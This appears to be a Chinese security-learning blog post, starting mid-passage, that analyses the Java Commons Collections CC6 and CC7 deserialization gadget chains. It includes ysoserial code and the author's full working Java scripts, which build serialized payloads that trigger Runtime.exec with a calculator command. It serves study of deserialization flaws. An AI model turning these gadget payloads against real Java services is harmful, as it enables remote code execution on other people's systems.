        System.out.println(obj);

        setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

        entry.toString();

        System.out.println(obj);
    }
}

output :

{}
{}
foo=1 // LazyMap#get 中 存在 `map.put(key, value);`
{foo=1}

疑问 🤔️

Debug 过程中存在一个问题,还没调试到触发点,就已经先弹窗了。

建议关闭 toString那个
image-20230327235348056

后来想到利用链中利用 toString,怀疑是 IDEA debug 过程中 自动 toString,导致有可能在Debug entry.toString(); 前已经弹计算器了。

关闭后正常 Debug

image-20230327235954631

CC6

利用条件

  • 依赖限制 :
    • CommonsCollections 3.1 (高版本,比如3.2有安全管理默认无法序列化,4版本上会出现 InvokerTransformer 无法反序列化)

Gadget Chain

        java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

漏洞原理

根据Gadget Chain 进行正向分析。

HashSet – > HashMap

  • HashSet#readObject -> HashMap#put
    image-20230328103617119

HashMap#put中会调用hash,而hash函数会得到 当前 key 的 hashCode

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

TiedMapEntry

当key为TiedMapEntry类的实例时,将跳转到 hashCode -> getValue -> 可触发点 。

public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
           (value == null ? 0 : value.hashCode()); 
}

public Object getValue() {
    return map.get(key);
}

map.get 之后可以利用 LazyMap 的利用链(原理:LazyMap#get 可以触发 Object value = factory.transform(key);),后续使用中 存在 InstantiateTransformerInvokeTransformer 两种利用链。

ysoserial 中的实现如下:

public Serializable getObject(final String command) throws Exception {

        final String[] execArgs = new String[] { command };

        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        Transformer transformerChain = new ChainedTransformer(transformers);

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        Reflections.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        Reflections.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);

        Object node = array[0];
        if(node == null){
                node = array[1];
        }

        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        Reflections.setAccessible(keyField);
        keyField.set(node, entry);

        return map;

    }

将道理,个人认为最迷惑的就是
Map.table -> Node.key = entry

HashMap (内部概念和序列化)

虽然一直用HashMap,但我对HashMap里的 EntrySet、Node、Table等概念感到迷惑,当我阅读源代码时,又对为什么table这些参数的 modifiers 为"transient"(不纳入序列化过程) 感到不解。

问题1: 为什么采用 transient

见:
java – Why is the hash table of HashMap marked as transient although the class is serializable – Stack Overflow
transient HashMap使用目的分析_深度Java的博客-CSDN博客(推荐)

回答摘要:

HashMap uses writeObject and readObject to implement custom serialization rather than just letting its field be serialized normally. It writes the number of buckets, the total size and each of the entries to the stream and rebuilds itself from those fields when deserialized. As tzaman says, the table itself is unnecessary in the serial form, so it's not serialized to save space.

问题2: HashMap 中 Entry 、Set、Node、Table 的具体概念是什么

不如问问 new bing.
以下为 new bing 关于 "HashMap 中 Entry 、Set、Node、Table 的具体概念是什么" 的 回答

Entry 是 HashMap 中的一个内部类,它表示了一个键值对 (key-value)映射。每个 Entry 对象都包含一个 key 和一个 value 属性。HashMap 中的所有键值对都是以 Entry 对象的形式存储的。¹

Set 是 Java 集合框架中的一个接口,它表示了一个无序、不重复的元素集合。Set 接口有多种实现类,如 HashSet、TreeSet 等。¹

Node 是 HashMap 中的一个内部类,它继承了 Entry 类,并实现了 Map.Entry 接口。Node 类在 JDK 1.8 中取代了 Entry 类,用于存储键值对。Node 类还有一个 next 属性,用于指向下一个 Node 对象,形成链表结构。²³

Table 是 HashMap 中的一个属性,它是一个 Node 类型的数组,用于存储 Node 对象。Table 的长度必须是 2 的幂次方,以便于计算哈希值和数组下标的映射关系。Table 的初始长度默认为 16,当元素个数超过阈值时,会进行扩容,扩容为原来的两倍。²³

(1) HashMap原理详解,看不懂算我输(附面试题) – 知乎. https://zhuanlan.zhihu.com/p/127147909 访问时间 2023/3/28.
(2) 面试:HashMap 夺命二十一问!鸡哥都扛不住~ – 知乎. https://zhuanlan.zhihu.com/p/151027796 访问时间 2023/3/28.
(3) HashMap中Entry以及Hash值的理解hashmap entry恰克与飞鸟.的博客-CSDN博客. https://blog.csdn.net/linton1/article/details/90084524 访问时间 2023/3/28.

可以具体见:图解集合4:HashMap – 五月的仓颉 – 博客园 (cnblogs.com)

测试脚本


public class Exploit {

    public static void main(String[] args) throws Exception {
        // InstantiateTransformer gadget chain
        // Transformer chainedTransformer = getChained2InstantiateV4();
        String command = "open -a calculator";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
        };

        Transformer chainedTransformer  = new ChainedTransformer(transformers);

        final Map innerMap = new HashMap();

        // lazyMap
        // cc 4.4
        Map map = LazyMap.decorate(innerMap, chainedTransformer);

        TiedMapEntry entry = new TiedMapEntry(map, "fe1w0");

        // set.map = new HashMap
        HashSet set = new HashSet();

        // 使 set.map.table 多出一个 Node,即 entry
        // 直接 add 方式 也可以做到 gadget chains 利用,但无法用于序列化
        // set.add(entry);

        // ysoserial 的方案,是直接反射 ValueField 修改 map
        // 此处,我的对Map的理解就不是很深。

        // step 0: 促使 Map.table 构建
        set.add("foo");

        // step 1: 获取 set.map
        Field classSetFieldMap = HashSet.class.getDeclaredField("map");
        classSetFieldMap.setAccessible(true);
        HashMap setInnerMap = (HashMap) classSetFieldMap.get(set);


        // step 2: 获取 set.map.table
        // 需要注意是的:
        // 即便 HastMap.table 是 transient
        // 但在writeObject中调用的internalWriteEntries,会将table中的内容进行序列化
        Field classHashMapFieldTable = HashMap.class.getDeclaredField("table");
        // modifiers "transient"
        classHashMapFieldTable.setAccessible(true);
        Object[] tableArray = (Object[]) classHashMapFieldTable.get(setInnerMap);

        // 默认 为 16
        System.out.println(tableArray.length);

        // step 3: 设置 set.map.table[0].key
        Object targetNode = null;

        for (Object node : tableArray) {
            if (node != null) {
                targetNode = node;
            }
        }

        // step 4: 将 entry 存储为 targetNode.key
        Field classNodeFieldKey = targetNode.getClass().getDeclaredField("key");
        System.out.println(targetNode.getClass().getName());
        classNodeFieldKey.setAccessible(true);
        classNodeFieldKey.set(targetNode, entry);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("out/serFile/cc6.ser"));
            outputStream.writeObject(set);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("out/serFile/cc6.ser"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
}

梦破了,我以为cc6是无限制利用。。。

CC7

利用条件

  • 依赖限制 :
    • CommonsCollections 3.1

Gadget Chain

    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec

漏洞原理

和前面的利用链都差不多,主要是前面的部分利用 Hashtable#readObject -> … -> AbstractMap#equals

Hashtable


/**
     * Reconstitute the Hashtable from a stream (i.e., deserialize it).
     */
    private void readObject(ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {

        ObjectInputStream.GetField fields = s.readFields();

        // Read and validate loadFactor (ignore threshold - it will be re-computed)
        float lf = fields.get("loadFactor", 0.75f);
        if (lf <= 0 || Float.isNaN(lf))
            throw new StreamCorruptedException("Illegal load factor: " + lf);
        lf = Math.min(Math.max(0.25f, lf), 4.0f);

        // Read the original length of the array and number of elements
        int origlength = s.readInt();
        int elements = s.readInt();

        // Validate # of elements
        if (elements < 0)
            throw new StreamCorruptedException("Illegal # of Elements: " + elements);

        // Clamp original length to be more than elements / loadFactor
        // (this is the invariant enforced with auto-growth)
        origlength = Math.max(origlength, (int)(elements / lf) + 1);

        // Compute new length with a bit of room 5% + 3 to grow but
        // no larger than the clamped original length.  Make the length
        // odd if it's large enough, this helps distribute the entries.
        // Guard against the length ending up zero, that's not valid.
        int length = (int)((elements + elements / 20) / lf) + 3;
        if (length > elements && (length & 1) == 0)
            length--;
        length = Math.min(length, origlength);

        if (length < 0) { // overflow
            length = origlength;
        }

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
        Hashtable.UnsafeHolder.putLoadFactor(this, lf);
        table = new Entry<?,?>[length];
        threshold = (int)Math.min(length * lf, MAX_ARRAY_SIZE + 1);
        count = 0;

        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // sync is eliminated for performance
            // 此处触发 reconstitutionPut
            reconstitutionPut(table, key, value);
        }
    }

    /**
     * The put method used by readObject. This is provided because put
     * is overridable and should not be called in readObject since the
     * subclass will not yet be initialized.
     *
     * <p>This differs from the regular put method in several ways. No
     * checking for rehashing is necessary since the number of elements
     * initially in the table is known. The modCount is not incremented and
     * there's no synchronization because we are creating a new instance.
     * Also, no return value is needed.
     */
    private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            //  e.key.equals
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        @SuppressWarnings("unchecked")
            Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }

AbstractMap#equals

public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                // Map<?,?> m = (Map<?,?>) o;
                // 则函数参数为 lazyMap
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }

但最麻烦的在于,满足条件且序列化前不触发。

Map mapOne = LazyMap.decorate(new HashedMap(), chainTransformer);
        Map mapTwo = LazyMap.decorate(new HashedMap(), chainTransformer);

        // 使数据满足 后续的判断条件:
        mapOne.put(1, 1);
        mapTwo.put(2, 2);

        // map.equals 直接触发利用链
        // mapOne.equals(mapTwo);

触发条件(建议先阅读测试脚本)

Hashtable#reconstitutionPut

image-20230328184637256

若序列化的对象的size小于等于1,是不会触发 e.key.equals(key),原因在于当第一次进入Hashtable#reconstitutionPut 时,无论index为多少,e == null

所以至少需要添加两次。

        hashtable.put(mapOne, 1);
        hashtable.put(mapTwo, 2);

此外 为确保 第二次进入Hashtable#reconstitutionPut 时,tab[index] 不为空,需要mapOne.hashCode() == mapTwo.hashCode()

image-20230328192630738

这个默认的hashCode 很离谱。。。

Map mapOne = LazyMap.decorate(new HashedMap(), chainTransformer);  
Map mapTwo = LazyMap.decorate(new HashedMap(), chainTransformer);  
  
// 使数据满足 后续的判断条件:  
mapOne.put(1, 1);  
mapTwo.put(2, 2);

mapOne 和 mapTwo 的 hashCode 都为0。

另外 ysoserial 中

mapOne.put("zZ", 2); // 3874
mapTwo.put("yy", 2); // 3874
// 可以微调 value 改变 hashCode

最后需要理解的是,为什么要 mapTwo.remove(mapOnw_Key),注意 mapOnw_Key 指的是 mapOnekey,如mapOne.put(1, 1);,则需要mapTwo.remove(1);

这一点,我们需要 再次回到 hashtable.put(mapTwo, 2); 。在该行代码执行后,mapTwo,发现了变化,具体变化见下图。

  • mapTwo

  • mapOne
    ![[image-20230328194724167.png]]

而 mapTwo发生变化的原因在于,hashtable.put(mapTwo, 2); 中同样会执行equals,从而将一开始的 ConstantTransformer 的值,map.put(key, value);

  • lazyMap 中 get 链 会触发 put 利用,增加了原mapTwo。

key 的 来源 在 其实还是来自 mapOne的。。。

如图所示,put函数中,因mapOne.index == mapTwo.index,导致entry指向mapOne。

回到初始问题上,那为什么需要remove。

如果不进行remove 操作,在反序列化时,因mapTwo中存在两个Entry({1:{"fe1w0"}, 2:2}),mapTwo.hashCode != mapOne.hashCode,导致 以下判断 失效 e == null, 无法进入深层次的利用链。

![[image-20230328202756484.png]]

测试脚本

package xyz.fe1w0.java.basic.serialize.cc.seven;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Map;

import static xyz.fe1w0.java.basic.serialize.cc.two.Exploit.setFieldValue;

public class Exploit {

    public static void main(String[] args) throws Exception {
        String command = "open -a calculator";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
        };

        Transformer fakeTransformer = new ConstantTransformer("fe1w0");

        Transformer chainTransformer = new ChainedTransformer(new Transformer[] {
                fakeTransformer
        });


        Map mapOne = LazyMap.decorate(new HashedMap(), chainTransformer);
        Map mapTwo = LazyMap.decorate(new HashedMap(), chainTransformer);

        // 使数据满足 后续的判断条件:
        mapOne.put(1, 1);
        mapTwo.put(2, 2);

        System.out.println(mapOne.hashCode());
        System.out.println(mapTwo.hashCode());


        // map.equals 直接触发利用链
        System.out.println(mapOne.equals(mapTwo));;

        // 使用 Hashtable
        Hashtable hashtable = new Hashtable();
        // 注意使用 put 的时候,也会调用到 Hashtable#equals
        hashtable.put(mapOne, 1);
        hashtable.put(mapTwo, 2);

        Field iTransformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformersField.setAccessible(true);
        iTransformersField.set(chainTransformer, transformers);

        // 确保 hash 冲突?
        mapTwo.remove(1);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("out/serFile/cc7.ser"));
            outputStream.writeObject(hashtable);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("out/serFile/cc7.ser"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

}

References:

blog.paranoidsoftware.com

Java安全学习—URLDNS链 – FreeBuf网络安全行业门户

[[URLDNS and CCs unserialize chains]]

cc1

https://blog.51cto.com/u_15878568/5859633

Java反序列化之ysoserial cc1链分析 – FreeBuf网络安全行业门户

(18条消息) Java反序列化之CC1链分析_安全混子的博客-CSDN博客_cc1链

Java反序列化CC1-漏洞分析 – FreeBuf网络安全行业门户

cc2

通俗易懂的Java Commons Collection 2分析 – 先知社区 (aliyun.com)

Java cc链-TemplatesImpl利用分析 | tyskillのBlog

other

CC链 1-7 分析 – 先知社区 (aliyun.com)

Java安全之反序列化篇-URLDNS&Commons Collections 1-7反序列化链分析 (seebug.org)

Java安全之Commons Collections6分析 – nice_0e3 – 博客园 (cnblogs.com)

推荐:
CommonsCollections 系列反序列化 · Koalrの沉思录

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇